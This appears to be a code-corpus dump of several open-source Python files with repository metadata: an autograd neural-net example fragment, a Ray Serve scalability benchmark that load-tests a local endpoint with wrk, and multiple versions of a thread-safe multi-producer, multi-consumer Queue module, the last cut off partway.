train_acc = accuracy(params, train_images, train_labels)
test_acc = accuracy(params, test_images, test_labels)
print("{:15}|{:20}|{:20}".format(iter//num_batches, train_acc, test_acc))
# The optimizers provided can optimize lists, tuples, or dicts of parameters.
optimized_params = adam(objective_grad, init_params, step_size=step_size,
num_iters=num_epochs * num_batches, callback=print_perf)
| {
"repo_name": "HIPS/autograd",
"path": "examples/neural_net.py",
"copies": "2",
"size": "3201",
"license": "mit",
"hash": 6495802075801888000,
"line_mean": 37.1071428571,
"line_max": 85,
"alpha_frac": 0.6569821931,
"autogenerated": false,
"ratio": 3.5805369127516777,
"config_test": true,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 0.5237519105851678,
"avg_score": null,
"num_lines": null
} |
# A multi-node scalability test. We put an http proxy on the head node and spin
# up 20 nodes and put as many replicas as possible on the cluster, and run a
# stress test.
#
# Test will measure latency and throughput under a high load using `wrk`
# running on each node.
#
# Results for node 1 of 21:
# Running 10s test @ http://127.0.0.1:8000/hey
# 2 threads and 63 connections
# Thread Stats Avg Stdev Max +/- Stdev
# Latency 263.96ms 96.29ms 506.39ms 69.14%
# Req/Sec 115.63 79.29 650.00 75.40%
# 2307 requests in 10.00s, 315.66KB read
# Requests/sec: 230.61
# Transfer/sec: 31.55KB
#
# Results for node 2 of 21:
# Running 10s test @ http://127.0.0.1:8000/hey
# 2 threads and 63 connections
# Thread Stats Avg Stdev Max +/- Stdev
# Latency 282.79ms 75.00ms 500.26ms 63.32%
# Req/Sec 108.20 60.17 240.00 58.92%
# 2159 requests in 10.02s, 295.42KB read
# Requests/sec: 215.47
# Transfer/sec: 29.48KB
#
# [...] similar results for remaining nodes
import time
import subprocess
import requests
import ray
from ray import serve
from ray.serve import BackendConfig
from ray.serve.utils import logger
from ray.util.placement_group import (placement_group, remove_placement_group)
ray.shutdown()
ray.init(address="auto")
client = serve.start()
# These numbers need to correspond with the autoscaler config file.
# The number of remote nodes in the autoscaler should upper bound
# these because sometimes nodes fail to update.
num_workers = 20
expected_num_nodes = num_workers + 1
cpus_per_node = 4
num_remote_cpus = expected_num_nodes * cpus_per_node
# Wait until the expected number of nodes have joined the cluster.
while True:
num_nodes = len(ray.nodes())
logger.info("Waiting for nodes {}/{}".format(num_nodes,
expected_num_nodes))
if num_nodes >= expected_num_nodes:
break
time.sleep(5)
logger.info("Nodes have all joined. There are %s resources.",
ray.cluster_resources())
def hey(_):
time.sleep(0.01) # Sleep for 10ms
return b"hey"
num_connections = int(num_remote_cpus * 0.75)
num_threads = 2
time_to_run = "10s"
pg = placement_group(
[{
"CPU": 1
} for _ in range(expected_num_nodes)], strategy="STRICT_SPREAD")
ray.get(pg.ready())
# The number of replicas is the number of cores remaining after accounting
# for the one HTTP proxy actor on each node, the "hey" requester task on each
# node, and the serve controller.
# num_replicas = expected_num_nodes * (cpus_per_node - 2) - 1
num_replicas = ray.available_resources()["CPU"]
logger.info("Starting %i replicas", num_replicas)
client.create_backend(
"hey", hey, config=BackendConfig(num_replicas=num_replicas))
client.create_endpoint("hey", backend="hey", route="/hey")
@ray.remote
def run_wrk():
logger.info("Warming up for ~3 seconds")
for _ in range(5):
resp = requests.get("http://127.0.0.1:8000/hey").text
logger.info("Received response \'" + resp + "\'")
time.sleep(0.5)
result = subprocess.run(
[
"wrk", "-c",
str(num_connections), "-t",
str(num_threads), "-d", time_to_run, "http://127.0.0.1:8000/hey"
],
stdout=subprocess.PIPE)
return result.stdout.decode()
results = ray.get([
run_wrk.options(placement_group=pg,
placement_group_bundle_index=i).remote()
for i in range(expected_num_nodes)
])
for i in range(expected_num_nodes):
logger.info("Results for node %i of %i:", i + 1, expected_num_nodes)
logger.info(results[i])
remove_placement_group(pg)
| {
"repo_name": "richardliaw/ray",
"path": "python/ray/serve/benchmarks/scalability.py",
"copies": "1",
"size": "3686",
"license": "apache-2.0",
"hash": -5582490230572066000,
"line_mean": 29.974789916,
"line_max": 79,
"alpha_frac": 0.6516549105,
"autogenerated": false,
"ratio": 3.1858254105445116,
"config_test": false,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 0.9337480321044511,
"avg_score": 0,
"num_lines": 119
} |
"""A multi-producer, multi-consumer queue."""
class Empty(Exception):
"Exception raised by Queue.get(block=0)/get_nowait()."
pass
class Full(Exception):
"Exception raised by Queue.put(block=0)/put_nowait()."
pass
class Queue:
def __init__(self, maxsize=0):
"""Initialize a queue object with a given maximum size.
If maxsize is <= 0, the queue size is infinite.
"""
import thread
self._init(maxsize)
self.mutex = thread.allocate_lock()
self.esema = thread.allocate_lock()
self.esema.acquire()
self.fsema = thread.allocate_lock()
def qsize(self):
"""Return the approximate size of the queue (not reliable!)."""
self.mutex.acquire()
n = self._qsize()
self.mutex.release()
return n
def empty(self):
"""Return 1 if the queue is empty, 0 otherwise (not reliable!)."""
self.mutex.acquire()
n = self._empty()
self.mutex.release()
return n
def full(self):
"""Return 1 if the queue is full, 0 otherwise (not reliable!)."""
self.mutex.acquire()
n = self._full()
self.mutex.release()
return n
def put(self, item, block=1):
"""Put an item into the queue.
If optional arg 'block' is 1 (the default), block if
necessary until a free slot is available. Otherwise (block
is 0), put an item on the queue if a free slot is immediately
available, else raise the Full exception.
"""
if block:
self.fsema.acquire()
elif not self.fsema.acquire(0):
raise Full
self.mutex.acquire()
was_empty = self._empty()
self._put(item)
if was_empty:
self.esema.release()
if not self._full():
self.fsema.release()
self.mutex.release()
def put_nowait(self, item):
"""Put an item into the queue without blocking.
Only enqueue the item if a free slot is immediately available.
Otherwise raise the Full exception.
"""
return self.put(item, 0)
def get(self, block=1):
"""Remove and return an item from the queue.
If optional arg 'block' is 1 (the default), block if
necessary until an item is available. Otherwise (block is 0),
return an item if one is immediately available, else raise the
Empty exception.
"""
if block:
self.esema.acquire()
elif not self.esema.acquire(0):
raise Empty
self.mutex.acquire()
was_full = self._full()
item = self._get()
if was_full:
self.fsema.release()
if not self._empty():
self.esema.release()
self.mutex.release()
return item
def get_nowait(self):
"""Remove and return an item from the queue without blocking.
Only get an item if one is immediately available. Otherwise
raise the Empty exception.
"""
return self.get(0)
# Override these methods to implement other queue organizations
# (e.g. stack or priority queue).
# These will only be called with appropriate locks held
# Initialize the queue representation
def _init(self, maxsize):
self.maxsize = maxsize
self.queue = []
def _qsize(self):
return len(self.queue)
# Check whether the queue is empty
def _empty(self):
return not self.queue
# Check whether the queue is full
def _full(self):
return self.maxsize > 0 and len(self.queue) == self.maxsize
# Put a new item in the queue
def _put(self, item):
self.queue.append(item)
# Get an item from the queue
def _get(self):
item = self.queue[0]
del self.queue[0]
return item
| {
"repo_name": "MalloyPower/parsing-python",
"path": "front-end/testsuite-python-lib/Python-2.1/Lib/Queue.py",
"copies": "5",
"size": "3869",
"license": "mit",
"hash": -2920650705264481000,
"line_mean": 28.3106060606,
"line_max": 74,
"alpha_frac": 0.5820625485,
"autogenerated": false,
"ratio": 4.187229437229437,
"config_test": false,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 0.7269291985729437,
"avg_score": null,
"num_lines": null
} |
"""A multi-producer, multi-consumer queue."""
from _pydev_imps._pydev_time import time as _time
from _pydev_imps import _pydev_thread
try:
from _pydev_imps import _pydev_threading as _threading
except ImportError:
import dummy_threading as _threading
from collections import deque
import heapq
__all__ = ['Empty', 'Full', 'Queue', 'PriorityQueue', 'LifoQueue']
class Empty(Exception):
"Exception raised by Queue.get(block=0)/get_nowait()."
pass
class Full(Exception):
"Exception raised by Queue.put(block=0)/put_nowait()."
pass
class Queue:
"""Create a queue object with a given maximum size.
If maxsize is <= 0, the queue size is infinite.
"""
def __init__(self, maxsize=0):
self.maxsize = maxsize
self._init(maxsize)
# mutex must be held whenever the queue is mutating. All methods
# that acquire mutex must release it before returning. mutex
# is shared between the three conditions, so acquiring and
# releasing the conditions also acquires and releases mutex.
self.mutex = _pydev_thread.allocate_lock()
# Notify not_empty whenever an item is added to the queue; a
# thread waiting to get is notified then.
self.not_empty = _threading.Condition(self.mutex) # @UndefinedVariable
# Notify not_full whenever an item is removed from the queue;
# a thread waiting to put is notified then.
self.not_full = _threading.Condition(self.mutex) # @UndefinedVariable
# Notify all_tasks_done whenever the number of unfinished tasks
# drops to zero; thread waiting to join() is notified to resume
self.all_tasks_done = _threading.Condition(self.mutex) # @UndefinedVariable
self.unfinished_tasks = 0
def task_done(self):
"""Indicate that a formerly enqueued task is complete.
Used by Queue consumer threads. For each get() used to fetch a task,
a subsequent call to task_done() tells the queue that the processing
on the task is complete.
If a join() is currently blocking, it will resume when all items
have been processed (meaning that a task_done() call was received
for every item that had been put() into the queue).
Raises a ValueError if called more times than there were items
placed in the queue.
"""
self.all_tasks_done.acquire()
try:
unfinished = self.unfinished_tasks - 1
if unfinished <= 0:
if unfinished < 0:
raise ValueError('task_done() called too many times')
self.all_tasks_done.notify_all()
self.unfinished_tasks = unfinished
finally:
self.all_tasks_done.release()
def join(self):
"""Blocks until all items in the Queue have been gotten and processed.
The count of unfinished tasks goes up whenever an item is added to the
queue. The count goes down whenever a consumer thread calls task_done()
to indicate the item was retrieved and all work on it is complete.
When the count of unfinished tasks drops to zero, join() unblocks.
"""
self.all_tasks_done.acquire()
try:
while self.unfinished_tasks:
self.all_tasks_done.wait()
finally:
self.all_tasks_done.release()
def qsize(self):
"""Return the approximate size of the queue (not reliable!)."""
self.mutex.acquire()
n = self._qsize()
self.mutex.release()
return n
def empty(self):
"""Return True if the queue is empty, False otherwise (not reliable!)."""
self.mutex.acquire()
n = not self._qsize()
self.mutex.release()
return n
def full(self):
"""Return True if the queue is full, False otherwise (not reliable!)."""
self.mutex.acquire()
n = 0 < self.maxsize == self._qsize()
self.mutex.release()
return n
def put(self, item, block=True, timeout=None):
"""Put an item into the queue.
If optional args 'block' is true and 'timeout' is None (the default),
block if necessary until a free slot is available. If 'timeout' is
a positive number, it blocks at most 'timeout' seconds and raises
the Full exception if no free slot was available within that time.
Otherwise ('block' is false), put an item on the queue if a free slot
is immediately available, else raise the Full exception ('timeout'
is ignored in that case).
"""
self.not_full.acquire()
try:
if self.maxsize > 0:
if not block:
if self._qsize() == self.maxsize:
raise Full
elif timeout is None:
while self._qsize() == self.maxsize:
self.not_full.wait()
elif timeout < 0:
raise ValueError("'timeout' must be a positive number")
else:
endtime = _time() + timeout
while self._qsize() == self.maxsize:
remaining = endtime - _time()
if remaining <= 0.0:
raise Full
self.not_full.wait(remaining)
self._put(item)
self.unfinished_tasks += 1
self.not_empty.notify()
finally:
self.not_full.release()
def put_nowait(self, item):
"""Put an item into the queue without blocking.
Only enqueue the item if a free slot is immediately available.
Otherwise raise the Full exception.
"""
return self.put(item, False)
def get(self, block=True, timeout=None):
"""Remove and return an item from the queue.
If optional args 'block' is true and 'timeout' is None (the default),
block if necessary until an item is available. If 'timeout' is
a positive number, it blocks at most 'timeout' seconds and raises
the Empty exception if no item was available within that time.
Otherwise ('block' is false), return an item if one is immediately
available, else raise the Empty exception ('timeout' is ignored
in that case).
"""
self.not_empty.acquire()
try:
if not block:
if not self._qsize():
raise Empty
elif timeout is None:
while not self._qsize():
self.not_empty.wait()
elif timeout < 0:
raise ValueError("'timeout' must be a positive number")
else:
endtime = _time() + timeout
while not self._qsize():
remaining = endtime - _time()
if remaining <= 0.0:
raise Empty
self.not_empty.wait(remaining)
item = self._get()
self.not_full.notify()
return item
finally:
self.not_empty.release()
def get_nowait(self):
"""Remove and return an item from the queue without blocking.
Only get an item if one is immediately available. Otherwise
raise the Empty exception.
"""
return self.get(False)
# Override these methods to implement other queue organizations
# (e.g. stack or priority queue).
# These will only be called with appropriate locks held
# Initialize the queue representation
def _init(self, maxsize):
self.queue = deque()
def _qsize(self, len=len):
return len(self.queue)
# Put a new item in the queue
def _put(self, item):
self.queue.append(item)
# Get an item from the queue
def _get(self):
return self.queue.popleft()
class PriorityQueue(Queue):
'''Variant of Queue that retrieves open entries in priority order (lowest first).
Entries are typically tuples of the form: (priority number, data).
'''
def _init(self, maxsize):
self.queue = []
def _qsize(self, len=len):
return len(self.queue)
def _put(self, item, heappush=heapq.heappush):
heappush(self.queue, item)
def _get(self, heappop=heapq.heappop):
return heappop(self.queue)
class LifoQueue(Queue):
'''Variant of Queue that retrieves most recently added entries first.'''
def _init(self, maxsize):
self.queue = []
def _qsize(self, len=len):
return len(self.queue)
def _put(self, item):
self.queue.append(item)
def _get(self):
return self.queue.pop()
| {
"repo_name": "ArcherSys/ArcherSys",
"path": "eclipse/plugins/org.python.pydev_4.5.5.201603221110/pysrc/_pydev_imps/_pydev_Queue.py",
"copies": "1",
"size": "8720",
"license": "mit",
"hash": 1139036729043760600,
"line_mean": 34.5918367347,
"line_max": 85,
"alpha_frac": 0.5917431193,
"autogenerated": false,
"ratio": 4.392947103274559,
"config_test": false,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 0.548469022257456,
"avg_score": null,
"num_lines": null
} |
"""A multi-producer, multi-consumer queue."""
from _pydev_imps._pydev_time import time as _time
from _pydev_imps import _pydev_thread
try:
import _pydev_threading as _threading
except ImportError:
import dummy_threading as _threading
from collections import deque
import heapq
__all__ = ['Empty', 'Full', 'Queue', 'PriorityQueue', 'LifoQueue']
class Empty(Exception):
"Exception raised by Queue.get(block=0)/get_nowait()."
pass
class Full(Exception):
"Exception raised by Queue.put(block=0)/put_nowait()."
pass
class Queue:
"""Create a queue object with a given maximum size.
If maxsize is <= 0, the queue size is infinite.
"""
def __init__(self, maxsize=0):
self.maxsize = maxsize
self._init(maxsize)
# mutex must be held whenever the queue is mutating. All methods
# that acquire mutex must release it before returning. mutex
# is shared between the three conditions, so acquiring and
# releasing the conditions also acquires and releases mutex.
self.mutex = _pydev_thread.allocate_lock()
# Notify not_empty whenever an item is added to the queue; a
# thread waiting to get is notified then.
self.not_empty = _threading.Condition(self.mutex)
# Notify not_full whenever an item is removed from the queue;
# a thread waiting to put is notified then.
self.not_full = _threading.Condition(self.mutex)
# Notify all_tasks_done whenever the number of unfinished tasks
# drops to zero; thread waiting to join() is notified to resume
self.all_tasks_done = _threading.Condition(self.mutex)
self.unfinished_tasks = 0
def task_done(self):
"""Indicate that a formerly enqueued task is complete.
Used by Queue consumer threads. For each get() used to fetch a task,
a subsequent call to task_done() tells the queue that the processing
on the task is complete.
If a join() is currently blocking, it will resume when all items
have been processed (meaning that a task_done() call was received
for every item that had been put() into the queue).
Raises a ValueError if called more times than there were items
placed in the queue.
"""
self.all_tasks_done.acquire()
try:
unfinished = self.unfinished_tasks - 1
if unfinished <= 0:
if unfinished < 0:
raise ValueError('task_done() called too many times')
self.all_tasks_done.notify_all()
self.unfinished_tasks = unfinished
finally:
self.all_tasks_done.release()
def join(self):
"""Blocks until all items in the Queue have been gotten and processed.
The count of unfinished tasks goes up whenever an item is added to the
queue. The count goes down whenever a consumer thread calls task_done()
to indicate the item was retrieved and all work on it is complete.
When the count of unfinished tasks drops to zero, join() unblocks.
"""
self.all_tasks_done.acquire()
try:
while self.unfinished_tasks:
self.all_tasks_done.wait()
finally:
self.all_tasks_done.release()
def qsize(self):
"""Return the approximate size of the queue (not reliable!)."""
self.mutex.acquire()
n = self._qsize()
self.mutex.release()
return n
def empty(self):
"""Return True if the queue is empty, False otherwise (not reliable!)."""
self.mutex.acquire()
n = not self._qsize()
self.mutex.release()
return n
def full(self):
"""Return True if the queue is full, False otherwise (not reliable!)."""
self.mutex.acquire()
n = 0 < self.maxsize == self._qsize()
self.mutex.release()
return n
def put(self, item, block=True, timeout=None):
"""Put an item into the queue.
If optional args 'block' is true and 'timeout' is None (the default),
block if necessary until a free slot is available. If 'timeout' is
a positive number, it blocks at most 'timeout' seconds and raises
the Full exception if no free slot was available within that time.
Otherwise ('block' is false), put an item on the queue if a free slot
is immediately available, else raise the Full exception ('timeout'
is ignored in that case).
"""
self.not_full.acquire()
try:
if self.maxsize > 0:
if not block:
if self._qsize() == self.maxsize:
raise Full
elif timeout is None:
while self._qsize() == self.maxsize:
self.not_full.wait()
elif timeout < 0:
raise ValueError("'timeout' must be a positive number")
else:
endtime = _time() + timeout
while self._qsize() == self.maxsize:
remaining = endtime - _time()
if remaining <= 0.0:
raise Full
self.not_full.wait(remaining)
self._put(item)
self.unfinished_tasks += 1
self.not_empty.notify()
finally:
self.not_full.release()
def put_nowait(self, item):
"""Put an item into the queue without blocking.
Only enqueue the item if a free slot is immediately available.
Otherwise raise the Full exception.
"""
return self.put(item, False)
def get(self, block=True, timeout=None):
"""Remove and return an item from the queue.
If optional args 'block' is true and 'timeout' is None (the default),
block if necessary until an item is available. If 'timeout' is
a positive number, it blocks at most 'timeout' seconds and raises
the Empty exception if no item was available within that time.
Otherwise ('block' is false), return an item if one is immediately
available, else raise the Empty exception ('timeout' is ignored
in that case).
"""
self.not_empty.acquire()
try:
if not block:
if not self._qsize():
raise Empty
elif timeout is None:
while not self._qsize():
self.not_empty.wait()
elif timeout < 0:
raise ValueError("'timeout' must be a positive number")
else:
endtime = _time() + timeout
while not self._qsize():
remaining = endtime - _time()
if remaining <= 0.0:
raise Empty
self.not_empty.wait(remaining)
item = self._get()
self.not_full.notify()
return item
finally:
self.not_empty.release()
def get_nowait(self):
"""Remove and return an item from the queue without blocking.
Only get an item if one is immediately available. Otherwise
raise the Empty exception.
"""
return self.get(False)
# Override these methods to implement other queue organizations
# (e.g. stack or priority queue).
# These will only be called with appropriate locks held
# Initialize the queue representation
def _init(self, maxsize):
self.queue = deque()
def _qsize(self, len=len):
return len(self.queue)
# Put a new item in the queue
def _put(self, item):
self.queue.append(item)
# Get an item from the queue
def _get(self):
return self.queue.popleft()
class PriorityQueue(Queue):
'''Variant of Queue that retrieves open entries in priority order (lowest first).
Entries are typically tuples of the form: (priority number, data).
'''
def _init(self, maxsize):
self.queue = []
def _qsize(self, len=len):
return len(self.queue)
def _put(self, item, heappush=heapq.heappush):
heappush(self.queue, item)
def _get(self, heappop=heapq.heappop):
return heappop(self.queue)
class LifoQueue(Queue):
'''Variant of Queue that retrieves most recently added entries first.'''
def _init(self, maxsize):
self.queue = []
def _qsize(self, len=len):
return len(self.queue)
def _put(self, item):
self.queue.append(item)
def _get(self):
return self.queue.pop()
| {
"repo_name": "petteyg/intellij-community",
"path": "python/helpers/pydev/_pydev_imps/_pydev_Queue.py",
"copies": "53",
"size": "8637",
"license": "apache-2.0",
"hash": 5139297138554177000,
"line_mean": 34.2530612245,
"line_max": 85,
"alpha_frac": 0.5900196828,
"autogenerated": false,
"ratio": 4.397657841140529,
"config_test": false,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 1,
"avg_score": null,
"num_lines": null
} |
"""A multi-producer, multi-consumer queue."""
from _pydev_time import time as _time
try:
import _pydev_threading as _threading
except ImportError:
import dummy_threading as _threading
from collections import deque
import heapq
__all__ = ['Empty', 'Full', 'Queue', 'PriorityQueue', 'LifoQueue']
class Empty(Exception):
"Exception raised by Queue.get(block=0)/get_nowait()."
pass
class Full(Exception):
"Exception raised by Queue.put(block=0)/put_nowait()."
pass
class Queue:
"""Create a queue object with a given maximum size.
If maxsize is <= 0, the queue size is infinite.
"""
def __init__(self, maxsize=0):
self.maxsize = maxsize
self._init(maxsize)
# mutex must be held whenever the queue is mutating. All methods
# that acquire mutex must release it before returning. mutex
# is shared between the three conditions, so acquiring and
# releasing the conditions also acquires and releases mutex.
self.mutex = _threading.Lock()
# Notify not_empty whenever an item is added to the queue; a
# thread waiting to get is notified then.
self.not_empty = _threading.Condition(self.mutex)
# Notify not_full whenever an item is removed from the queue;
# a thread waiting to put is notified then.
self.not_full = _threading.Condition(self.mutex)
# Notify all_tasks_done whenever the number of unfinished tasks
# drops to zero; thread waiting to join() is notified to resume
self.all_tasks_done = _threading.Condition(self.mutex)
self.unfinished_tasks = 0
def task_done(self):
"""Indicate that a formerly enqueued task is complete.
Used by Queue consumer threads. For each get() used to fetch a task,
a subsequent call to task_done() tells the queue that the processing
on the task is complete.
If a join() is currently blocking, it will resume when all items
have been processed (meaning that a task_done() call was received
for every item that had been put() into the queue).
Raises a ValueError if called more times than there were items
placed in the queue.
"""
self.all_tasks_done.acquire()
try:
unfinished = self.unfinished_tasks - 1
if unfinished <= 0:
if unfinished < 0:
raise ValueError('task_done() called too many times')
self.all_tasks_done.notify_all()
self.unfinished_tasks = unfinished
finally:
self.all_tasks_done.release()
def join(self):
"""Blocks until all items in the Queue have been gotten and processed.
The count of unfinished tasks goes up whenever an item is added to the
queue. The count goes down whenever a consumer thread calls task_done()
to indicate the item was retrieved and all work on it is complete.
When the count of unfinished tasks drops to zero, join() unblocks.
"""
self.all_tasks_done.acquire()
try:
while self.unfinished_tasks:
self.all_tasks_done.wait()
finally:
self.all_tasks_done.release()
def qsize(self):
"""Return the approximate size of the queue (not reliable!)."""
self.mutex.acquire()
n = self._qsize()
self.mutex.release()
return n
def empty(self):
"""Return True if the queue is empty, False otherwise (not reliable!)."""
self.mutex.acquire()
n = not self._qsize()
self.mutex.release()
return n
def full(self):
"""Return True if the queue is full, False otherwise (not reliable!)."""
self.mutex.acquire()
n = 0 < self.maxsize == self._qsize()
self.mutex.release()
return n
def put(self, item, block=True, timeout=None):
"""Put an item into the queue.
If optional args 'block' is true and 'timeout' is None (the default),
block if necessary until a free slot is available. If 'timeout' is
a positive number, it blocks at most 'timeout' seconds and raises
the Full exception if no free slot was available within that time.
Otherwise ('block' is false), put an item on the queue if a free slot
is immediately available, else raise the Full exception ('timeout'
is ignored in that case).
"""
self.not_full.acquire()
try:
if self.maxsize > 0:
if not block:
if self._qsize() == self.maxsize:
raise Full
elif timeout is None:
while self._qsize() == self.maxsize:
self.not_full.wait()
elif timeout < 0:
raise ValueError("'timeout' must be a positive number")
else:
endtime = _time() + timeout
while self._qsize() == self.maxsize:
remaining = endtime - _time()
if remaining <= 0.0:
raise Full
self.not_full.wait(remaining)
self._put(item)
self.unfinished_tasks += 1
self.not_empty.notify()
finally:
self.not_full.release()
def put_nowait(self, item):
"""Put an item into the queue without blocking.
Only enqueue the item if a free slot is immediately available.
Otherwise raise the Full exception.
"""
return self.put(item, False)
def get(self, block=True, timeout=None):
"""Remove and return an item from the queue.
If optional args 'block' is true and 'timeout' is None (the default),
block if necessary until an item is available. If 'timeout' is
a positive number, it blocks at most 'timeout' seconds and raises
the Empty exception if no item was available within that time.
Otherwise ('block' is false), return an item if one is immediately
available, else raise the Empty exception ('timeout' is ignored
in that case).
"""
self.not_empty.acquire()
try:
if not block:
if not self._qsize():
raise Empty
elif timeout is None:
while not self._qsize():
self.not_empty.wait()
elif timeout < 0:
raise ValueError("'timeout' must be a positive number")
else:
endtime = _time() + timeout
while not self._qsize():
remaining = endtime - _time()
if remaining <= 0.0:
raise Empty
self.not_empty.wait(remaining)
item = self._get()
self.not_full.notify()
return item
finally:
self.not_empty.release()
def get_nowait(self):
"""Remove and return an item from the queue without blocking.
Only get an item if one is immediately available. Otherwise
raise the Empty exception.
"""
return self.get(False)
# Override these methods to implement other queue organizations
# (e.g. stack or priority queue).
# These will only be called with appropriate locks held
# Initialize the queue representation
def _init(self, maxsize):
self.queue = deque()
def _qsize(self, len=len):
return len(self.queue)
# Put a new item in the queue
def _put(self, item):
self.queue.append(item)
# Get an item from the queue
def _get(self):
return self.queue.popleft()
class PriorityQueue(Queue):
'''Variant of Queue that retrieves open entries in priority order (lowest first).
Entries are typically tuples of the form: (priority number, data).
'''
def _init(self, maxsize):
self.queue = []
def _qsize(self, len=len):
return len(self.queue)
def _put(self, item, heappush=heapq.heappush):
heappush(self.queue, item)
def _get(self, heappop=heapq.heappop):
return heappop(self.queue)
class LifoQueue(Queue):
'''Variant of Queue that retrieves most recently added entries first.'''
def _init(self, maxsize):
self.queue = []
def _qsize(self, len=len):
return len(self.queue)
def _put(self, item):
self.queue.append(item)
def _get(self):
return self.queue.pop()
| {
"repo_name": "romankagan/DDBWorkbench",
"path": "python/helpers/pydev/_pydev_Queue.py",
"copies": "3",
"size": "8575",
"license": "apache-2.0",
"hash": 2628795723053190000,
"line_mean": 34.143442623,
"line_max": 85,
"alpha_frac": 0.5885714286,
"autogenerated": false,
"ratio": 4.413278435409161,
"config_test": false,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 0.6501849864009162,
"avg_score": null,
"num_lines": null
} |
"""A multi-producer, multi-consumer queue."""
from time import time as _time
from collections import deque
__all__ = ['Empty', 'Full', 'Queue']
class Empty(Exception):
"Exception raised by Queue.get(block=0)/get_nowait()."
pass
class Full(Exception):
"Exception raised by Queue.put(block=0)/put_nowait()."
pass
class Queue:
"""Create a queue object with a given maximum size.
If maxsize is <= 0, the queue size is infinite.
"""
def __init__(self, maxsize=0):
try:
import threading
except ImportError:
import dummy_threading as threading
self._init(maxsize)
# mutex must be held whenever the queue is mutating. All methods
# that acquire mutex must release it before returning. mutex
# is shared between the three conditions, so acquiring and
# releasing the conditions also acquires and releases mutex.
self.mutex = threading.Lock()
# Notify not_empty whenever an item is added to the queue; a
# thread waiting to get is notified then.
self.not_empty = threading.Condition(self.mutex)
# Notify not_full whenever an item is removed from the queue;
# a thread waiting to put is notified then.
self.not_full = threading.Condition(self.mutex)
# Notify all_tasks_done whenever the number of unfinished tasks
# drops to zero; thread waiting to join() is notified to resume
self.all_tasks_done = threading.Condition(self.mutex)
self.unfinished_tasks = 0
def task_done(self):
"""Indicate that a formerly enqueued task is complete.
Used by Queue consumer threads. For each get() used to fetch a task,
a subsequent call to task_done() tells the queue that the processing
on the task is complete.
If a join() is currently blocking, it will resume when all items
have been processed (meaning that a task_done() call was received
for every item that had been put() into the queue).
Raises a ValueError if called more times than there were items
placed in the queue.
"""
self.all_tasks_done.acquire()
try:
unfinished = self.unfinished_tasks - 1
if unfinished <= 0:
if unfinished < 0:
raise ValueError('task_done() called too many times')
self.all_tasks_done.notifyAll()
self.unfinished_tasks = unfinished
finally:
self.all_tasks_done.release()
def join(self):
"""Blocks until all items in the Queue have been gotten and processed.
The count of unfinished tasks goes up whenever an item is added to the
queue. The count goes down whenever a consumer thread calls task_done()
to indicate the item was retrieved and all work on it is complete.
When the count of unfinished tasks drops to zero, join() unblocks.
"""
self.all_tasks_done.acquire()
try:
while self.unfinished_tasks:
self.all_tasks_done.wait()
finally:
self.all_tasks_done.release()
def qsize(self):
"""Return the approximate size of the queue (not reliable!)."""
self.mutex.acquire()
n = self._qsize()
self.mutex.release()
return n
def empty(self):
"""Return True if the queue is empty, False otherwise (not reliable!)."""
self.mutex.acquire()
n = self._empty()
self.mutex.release()
return n
def full(self):
"""Return True if the queue is full, False otherwise (not reliable!)."""
self.mutex.acquire()
n = self._full()
self.mutex.release()
return n
def put(self, item, block=True, timeout=None):
"""Put an item into the queue.
If optional args 'block' is true and 'timeout' is None (the default),
block if necessary until a free slot is available. If 'timeout' is
a positive number, it blocks at most 'timeout' seconds and raises
the Full exception if no free slot was available within that time.
Otherwise ('block' is false), put an item on the queue if a free slot
is immediately available, else raise the Full exception ('timeout'
is ignored in that case).
"""
self.not_full.acquire()
try:
if not block:
if self._full():
raise Full
elif timeout is None:
while self._full():
self.not_full.wait()
else:
if timeout < 0:
raise ValueError("'timeout' must be a positive number")
endtime = _time() + timeout
while self._full():
remaining = endtime - _time()
if remaining <= 0.0:
raise Full
self.not_full.wait(remaining)
self._put(item)
self.unfinished_tasks += 1
self.not_empty.notify()
finally:
self.not_full.release()
def put_nowait(self, item):
"""Put an item into the queue without blocking.
Only enqueue the item if a free slot is immediately available.
Otherwise raise the Full exception.
"""
return self.put(item, False)
def get(self, block=True, timeout=None):
"""Remove and return an item from the queue.
If optional args 'block' is true and 'timeout' is None (the default),
block if necessary until an item is available. If 'timeout' is
a positive number, it blocks at most 'timeout' seconds and raises
the Empty exception if no item was available within that time.
Otherwise ('block' is false), return an item if one is immediately
available, else raise the Empty exception ('timeout' is ignored
in that case).
"""
self.not_empty.acquire()
try:
if not block:
if self._empty():
raise Empty
elif timeout is None:
while self._empty():
self.not_empty.wait()
else:
if timeout < 0:
raise ValueError("'timeout' must be a positive number")
endtime = _time() + timeout
while self._empty():
remaining = endtime - _time()
if remaining <= 0.0:
raise Empty
self.not_empty.wait(remaining)
item = self._get()
self.not_full.notify()
return item
finally:
self.not_empty.release()
def get_nowait(self):
"""Remove and return an item from the queue without blocking.
Only get an item if one is immediately available. Otherwise
raise the Empty exception.
"""
return self.get(False)
# Override these methods to implement other queue organizations
# (e.g. stack or priority queue).
# These will only be called with appropriate locks held
# Initialize the queue representation
def _init(self, maxsize):
self.maxsize = maxsize
self.queue = deque()
def _qsize(self):
return len(self.queue)
# Check whether the queue is empty
def _empty(self):
return not self.queue
# Check whether the queue is full
def _full(self):
return self.maxsize > 0 and len(self.queue) == self.maxsize
# Put a new item in the queue
def _put(self, item):
self.queue.append(item)
# Get an item from the queue
def _get(self):
return self.queue.popleft()
| {
"repo_name": "youdonghai/intellij-community",
"path": "python/lib/Lib/Queue.py",
"copies": "90",
"size": "7758",
"license": "apache-2.0",
"hash": -3515473677668488000,
"line_mean": 35.0837209302,
"line_max": 81,
"alpha_frac": 0.5849445733,
"autogenerated": false,
"ratio": 4.582398109864147,
"config_test": false,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 1,
"avg_score": 0.000867947932199414,
"num_lines": 215
} |
"""A multi-producer, multi-consumer queue."""
from time import time as _time
from collections import deque
__all__ = ['Empty', 'Full', 'Queue']
class Empty(Exception):
"Exception raised by Queue.get(block=0)/get_nowait()."
pass
class Full(Exception):
"Exception raised by Queue.put(block=0)/put_nowait()."
pass
class Queue:
"""Create a queue object with a given maximum size.
If maxsize is <= 0, the queue size is infinite.
"""
def __init__(self, maxsize=0):
try:
import threading
except ImportError:
import dummy_threading as threading
self._init(maxsize)
# mutex must be held whenever the queue is mutating. All methods
